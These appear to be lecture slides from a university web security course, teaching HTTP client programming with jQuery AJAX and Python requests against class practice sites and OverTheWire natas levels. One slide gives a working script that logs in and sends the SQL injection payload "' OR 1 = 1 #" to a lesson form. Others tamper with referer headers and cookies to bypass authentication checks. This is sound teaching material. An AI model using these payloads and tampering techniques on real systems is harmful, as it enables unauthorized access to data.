

Web client programming

JavaScript/AJAX

Web requests with JavaScript/AJAX

- Needed for reverse-engineering homework site
- Web request via jQuery JavaScript library

```
jQuery.ajax({  
  'type': 'GET',  
  'url': 'http://vulnerable/ajax.php',  
  'success': function(data) {  
    console.log(data);  
  }  
});
```

```
jQuery.ajax({  
  'type': 'POST',  
  'url': 'http://vulnerable/ajax.php',  
  'data': 'hello world',  
  'success': function(data) {  
    console.log(data);  
  }  
});
```

cs410.oregonctf.org example

- Inspect the “Get this user” button in SQL Injection Lesson

- Form submit `<script (leForm)`

Please enter the **user name** of the user that you want to look up

Get this user

```
▼ <form id="leForm" action="javascript:;">
  ▼ <table>
    ▼ <tbody>
      ▶ <tr>...</tr>
      ▶ <tr>...</tr>
      ▼ <tr>
        ▼ <td>
          ▼ <div id="submitButton">
            <input type="submit" value="Get this user"> == $0
          </div>
          <p style="display: none;" id="loadingSign">Loading...</p>
          ▶ <div style="display: none;" id="hintButton">...</div>
        </td>
      </tr>
    </tbody>
  </table>
</form>
```

cs410.oregonctf.org example

- View script tag immediately following `<form>` element

▼`<script>`

```
var counter = 0;
→ $("#leForm").submit(function(){
  counter = counter + 1;
  $("#submitButton").hide("fast");
  $("#loadingSign").show("slow");
  $("#userContent").text($("#aUserName").val());
  var theName = $("#aUserName").val();
  $("#resultsDiv").hide("slow", function(){
    var ajaxCall = $.ajax({
      type: "POST",
      url:
        "e881086d4d8eb2604d8093d93ae60986af8119c4f643894775433dbfb6faa594",
      data: {
        aUserName: theName
      },
      async: false
    });
```

- Note the use of a relative URL. Find base page of frame

```
▼<iframe frameborder="no" class="levelIframe" id="theLesson" src="lessons/
e881086d4d8eb2604d8093d93ae60986af8119c4f643894775433dbfb6faa594.jsp">
```

- Form submission URL

<http://cs410.oregonctf.org/lessons/e881086d4d8eb2604d8093d93ae60986af8119c4f643894775433dbfb6faa594>

- Post parameters

aUserName : wuchang

Python Requests

Python Requests

- HTTP for humans
- Programmatically handle HTTP
 - Requests and responses
 - Authentication
 - Headers
 - Forms
 - Cookies
 - Sessions
 - JSON
- Can be used to solve each level
 - Submit solution scripts as part of lab notebook

Setting up

- Install python3, python-pip, virtualenv (`apt-get`)
- Then, set up a local python3 instance in directory `env` for use during the rest of the course

```
mkdir env
```

```
virtualenv -p /usr/bin/python3 env
```

- Enter the local python3 environment (always do this)

```
source env/bin/activate
```

- Install requests into environment

```
pip install requests
```

- Install beautifulsoup (bs4) into environment

```
pip install bs4
```

- Run your scripts (either via interactive prompt or as a file)

```
python 01.py
```


Requests and responses

- Methods in Python requests package map to HTTP methods
 - requests.get => GET
 - requests.post => POST
- Simple HTTP request

```
import requests
r = requests.get('http://thefengs.com')
print(r.text)
print(r.status_code)
print(r.headers)
```

Sessions

- Emulate web browser
 - Accumulate cookies
 - Remember header and authentication settings

```
import requests
s = requests.Session()
print(s.cookies)
r = s.get('http://facebook.com')
print(s.cookies)
r = s.get('http://google.com')
print(s.cookies)
```

Forms

- Named parameter data
- Given as a dictionary
 - An associative array of key:value pairs in python
- Two possible methods: GET, POST
 - Examine form to find URL, method, and field name

cs410.oregonctf.org example

- Login form for homework site
- Inspect “Submit” button, expand form fields

ure | cs410.oregonctf.org/login.jsp

Login

Use your Odin ID and the PIN code given in class. Change your password immediately. Do not use a password you care about. The site uses unencrypted HTTP to help facilitate certain exercises.

Username:

Password:

Submit

```
▼ <form name="loginForm" method="POST" action="login">
  ▼ <table>
    ▼ <tbody>
      ▼ <tr>
        ▶ <td>_</td>
        ▼ <td>
          <input type="text" name="login" value autocomplete="off" autofocus>
          <p></p>
        </td>
      </tr>
      ▼ <tr>
        ▶ <td>_</td>
        ▼ <td>
          <input type="password" name="pwd" autocomplete="off">
          <br>
        </td>
      </tr>
      ▼ <tr>
        ▼ <td colspan="2" align="center">
          <input type="submit" name="submit" value="Submit">
        </td>
      </tr>
    </tbody>
  </table>
</form>
```

```
loginurl='http://cs410.oregonctf.org/login'
loginpayload={"login":"wuchang","pwd":"cs410510"}
resp=session.post(loginurl,data=loginpayload)
```

Putting it together

- SQL Injection Lesson

```
import requests
session=requests.Session()

loginurl='http://cs410.oregonctf.org/login'
loginpayload={"login":"wuchang","pwd":"cs410510"}
resp=session.post(loginurl,data=loginpayload)

url='http://cs410.oregonctf.org/lessons/e881086d4d8eb2604d8093d
93ae60986af8119c4f643894775433dbfb6faa594'
resp=session.post(url,data={"aUserName":"' OR 1 = 1 #"})

print("Output is: ",resp.text)
```

Basic Authentication

- Named parameter `auth`
- Given as a tuple (an immutable list in python)
 - Denoted by parentheses with values separated by commas

```
import requests
url = 'http://natas0.natas.labs.overthewire.org'
r = requests.get(url)
print(r.status_code)
print(r.headers)
r = requests.get(url, auth=('natas0', 'natas0'))
print(r.status_code)
print(r.text)
```

Setting request headers

- Named parameter `headers` for both reading HTTP response headers and setting HTTP request headers
- Given as a dictionary
 - An associative array of key:value pairs in python
 - Can set per-request or across a session

```
import requests
myheaders = {'referer': 'http://natas5.natas.labs.overthewire.org/'}
url = 'http://natas4.natas.labs.overthewire.org'
r = requests.get(url, auth=('natas4', 'the_natas4_pass'), headers=myheaders)
print(r.text)
```

```
import requests
s = requests.Session()
s.headers.update({'User-Agent': 'Python Requests'})
url = 'http://natas25.natas.labs.overthewire.org/'
r = s.get(url, auth=('natas25', 'the_natas25_pass'))
```

Setting cookies

- Named parameter `cookies` for both reading cookies in response and setting cookies in request
- Give as a dictionary
 - An associative array of key:value pairs in python
 - Encodes `key=value` in `Cookie: field`

```
import requests
url = 'http://natas5.natas.labs.overthewire.org'
mycookies = {'loggedin':'1'}
r = requests.get(url, auth=('natas5', 'natas5_pass'), cookies=mycookies)
print(r.text)
```


Reading cookies

- Returned in response via a `CookieJar` named `cookies`
- Automatically added to session `CookieJar` if session is used

```
import requests
url = 'http://nataszi-experimenter.natas.labs.overthewire.org/index.php'
r = requests.get(url)
sessionid = r.cookies['PHPSESSID']
print(sessionid)
```

```
import requests
s = requests.Session()
r = s.get('http://espn.go.com/')
r = s.get('http://facebook.com/')
for cookie in s.cookies:
    print(cookie)
```

URL-encoding

- Python requests automatically URL-encodes payloads for transmission over HTTP

```
import requests
r = requests.get('http://oregonctf.org/x + y/')
print(r.url)
```

HTML parsing

- BeautifulSoup

```
import requests
from bs4 import BeautifulSoup
url = 'http://espn.go.com/'
r = requests.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
for link in soup.find_all('a'):
    print(link.get('href'))
```

JSON and REST

- JSON often returned when transmitting web objects
 - Encodes a serialized data structure to and from server
 - Typically translated to/from dictionaries in Python
 - Example sending a JSON object to a REST API call and receiving a JSON response

```
# Set up the order
orders_url="https://api.stockfighter.io/ob/api/venues/NYSE/stock/AAPL
myorder = {
    'account' : 3000001,
    'price' : 4400,
    'qty' : 100,
    'direction' : 'buy',
    'orderType' : 'limit'
}
r = requests.post(orders_url, data=json.dumps(myorder))
r_data = r.json()
print(r_data['id'])
```

Other tools

- Burp Suite (see Kali VM)
- Firefox
 - Edit and Resend feature on Network tab of Developer tools
- Postman
 - Demo
 - Add Postman and Postman Interceptor extensions in Chrome
 - <http://cs410.oregonctf.org>
 - Launch Postman app and turn on interceptor
 - Submit form
 - Edit and resubmit
 - View request and response

Questions

- <https://sayat.me/wu4f>